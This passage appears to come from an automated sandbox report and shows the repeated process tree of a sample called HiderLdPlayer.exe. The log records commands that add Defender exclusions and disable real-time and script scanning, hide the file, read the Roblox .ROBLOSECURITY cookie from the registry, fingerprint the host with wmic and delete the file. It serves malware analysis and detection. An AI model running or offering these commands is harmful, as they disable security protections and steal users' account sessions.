        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        236⤵
        
        PID:7144
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        236⤵
        
        PID:6684
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        236⤵
        
        PID:6772
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" os get Caption
        236⤵
        
        PID:4660
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" computersystem get totalphysicalmemory
        236⤵
        
        PID:6444
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        236⤵
        
        PID:720
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        236⤵
        
        PID:6968
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic" path win32_VideoController get name
        236⤵
        Detects videocard installed
        
        PID:6772
        
        C:\Windows\SYSTEM32\cmd.exe
        
        "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe" && pause
        236⤵
        
        PID:4604
        
        C:\Windows\system32\PING.EXE
        
        ping localhost
        237⤵
        Runs ping.exe
        
        PID:5952
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        234⤵
        
        PID:5540
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        233⤵
        
        PID:6020
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        232⤵
        
        PID:5624
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        231⤵
        
        PID:7008
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        230⤵
        
        PID:6856
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        229⤵
        
        PID:5172
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        228⤵
        
        PID:5152
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        227⤵
        
        PID:6444
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        226⤵
        
        PID:4420
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        225⤵
        
        PID:6556
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        224⤵
        
        PID:5544
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        223⤵
        
        PID:6664
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        222⤵
        
        PID:1116
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        221⤵
        
        PID:6448
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        220⤵
        
        PID:7028
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        219⤵
        
        PID:6636
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        218⤵
        
        PID:900
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        217⤵
        
        PID:6684
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        216⤵
        
        PID:6268
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        215⤵
        
        PID:6500
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        216⤵
        
        PID:6376
        
        C:\Windows\SYSTEM32\attrib.exe
        
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        216⤵
        Views/modifies file attributes
        
        PID:7008
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe'
        216⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7076
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        216⤵
        
        PID:6908
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        216⤵
        
        PID:5800
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        216⤵
        
        PID:5876
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" os get Caption
        216⤵
        
        PID:6208
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" computersystem get totalphysicalmemory
        216⤵
        
        PID:4832
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        216⤵
        
        PID:2980
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        216⤵
        
        PID:6748
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic" path win32_VideoController get name
        216⤵
        Detects videocard installed
        
        PID:900
        
        C:\Windows\SYSTEM32\cmd.exe
        
        "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe" && pause
        216⤵
        
        PID:2624
        
        C:\Windows\system32\PING.EXE
        
        ping localhost
        217⤵
        Runs ping.exe
        
        PID:3836
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        214⤵
        
        PID:1116
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        213⤵
        
        PID:7076
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        212⤵
        
        PID:3328
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        211⤵
        
        PID:4172
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        210⤵
        
        PID:6376
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        209⤵
        
        PID:6008
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        208⤵
        
        PID:4524
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        207⤵
        
        PID:5496
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        206⤵
        
        PID:4344
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        205⤵
        
        PID:6712
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        204⤵
        
        PID:6556
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        203⤵
        
        PID:6632
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        202⤵
        
        PID:5900
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        201⤵
        
        PID:7016
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        200⤵
        
        PID:2240
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        199⤵
        
        PID:6852
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        198⤵
        
        PID:6512
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        197⤵
        
        PID:5496
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        196⤵
        
        PID:6616
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        195⤵
        
        PID:6308
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        194⤵
        
        PID:6324
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        195⤵
        
        PID:5180
        
        C:\Windows\SYSTEM32\attrib.exe
        
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        195⤵
        Views/modifies file attributes
        
        PID:1920
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe'
        195⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6020
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        195⤵
        
        PID:2400
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        195⤵
        
        PID:6692
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        195⤵
        
        PID:4380
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" os get Caption
        195⤵
        
        PID:6772
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" computersystem get totalphysicalmemory
        195⤵
        
        PID:7112
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        195⤵
        
        PID:3656
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        195⤵
        
        PID:6512
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic" path win32_VideoController get name
        195⤵
        Detects videocard installed
        
        PID:6748
        
        C:\Windows\SYSTEM32\cmd.exe
        
        "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe" && pause
        195⤵
        
        PID:7136
        
        C:\Windows\system32\PING.EXE
        
        ping localhost
        196⤵
        Runs ping.exe
        
        PID:6464
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        193⤵
        
        PID:6740
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        192⤵
        
        PID:6292
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        191⤵
        
        PID:6788
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        190⤵
        
        PID:2620
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        189⤵
        
        PID:736
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        188⤵
        
        PID:4688
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        187⤵
        
        PID:4344
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        186⤵
        
        PID:4184
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        185⤵
        
        PID:6836
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        184⤵
        
        PID:5544
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        183⤵
        
        PID:4420
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        182⤵
        
        PID:6856
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        181⤵
        
        PID:6340
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        180⤵
        
        PID:6664
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        179⤵
        
        PID:7116
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        178⤵
        
        PID:2948
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        177⤵
        
        PID:5624
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        176⤵
        
        PID:6464
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        175⤵
        
        PID:2564
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        176⤵
        
        PID:7112
        
        C:\Windows\SYSTEM32\attrib.exe
        
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        176⤵
        Views/modifies file attributes
        
        PID:6132
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        177⤵
        
        PID:3932
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe'
        176⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6268
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        176⤵
        
        PID:6844
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        176⤵
        
        PID:6644
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        176⤵
        
        PID:5232
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" os get Caption
        176⤵
        
        PID:2400
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" computersystem get totalphysicalmemory
        176⤵
        
        PID:6484
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        176⤵
        
        PID:3940
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        176⤵
        
        PID:5172
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic" path win32_VideoController get name
        176⤵
        Detects videocard installed
        
        PID:6824
        
        C:\Windows\SYSTEM32\cmd.exe
        
        "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe" && pause
        176⤵
        
        PID:6120
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        177⤵
        
        PID:544
        
        C:\Windows\system32\PING.EXE
        
        ping localhost
        177⤵
        Runs ping.exe
        
        PID:6492
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        174⤵
        
        PID:760
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        173⤵
        
        PID:6324
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        172⤵
        
        PID:5700
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        171⤵
        
        PID:6152
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        170⤵
        
        PID:2204
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        169⤵
        
        PID:5256
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        168⤵
        
        PID:6268
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        167⤵
        
        PID:6684
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        166⤵
        
        PID:6932
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        165⤵
        
        PID:6300
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        164⤵
        
        PID:372
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        163⤵
        
        PID:3900
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        162⤵
        
        PID:6324
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        161⤵
        
        PID:7084
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        160⤵
        
        PID:3404
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        159⤵
        
        PID:6316
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        158⤵
        
        PID:6512
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        157⤵
        
        PID:6340
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        156⤵
        
        PID:4996
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        157⤵
        
        PID:6992
        
        C:\Windows\SYSTEM32\attrib.exe
        
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        157⤵
        Views/modifies file attributes
        
        PID:3928
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe'
        157⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6788
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        157⤵
        
        PID:7144
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        158⤵
        
        PID:6996
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        157⤵
        
        PID:2620
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        157⤵
        
        PID:7148
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" os get Caption
        157⤵
        
        PID:6784
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" computersystem get totalphysicalmemory
        157⤵
        
        PID:2912
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        157⤵
        
        PID:6440
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        157⤵
        
        PID:6244
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic" path win32_VideoController get name
        157⤵
        Detects videocard installed
        
        PID:6788
        
        C:\Windows\SYSTEM32\cmd.exe
        
        "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe" && pause
        157⤵
        
        PID:3500
        
        C:\Windows\system32\PING.EXE
        
        ping localhost
        158⤵
        Runs ping.exe
        
        PID:5288
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        155⤵
        
        PID:6824
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        154⤵
        
        PID:6964
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        153⤵
        
        PID:5824
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        152⤵
        
        PID:4172
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        151⤵
        
        PID:6684
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        150⤵
        
        PID:6856
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        149⤵
        
        PID:6556
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        148⤵
        
        PID:7040
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        147⤵
        
        PID:6824
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        146⤵
        
        PID:6596
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        145⤵
        
        PID:6600
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        144⤵
        
        PID:968
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        143⤵
        
        PID:1080
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        142⤵
        
        PID:6500
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        141⤵
        
        PID:4184
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
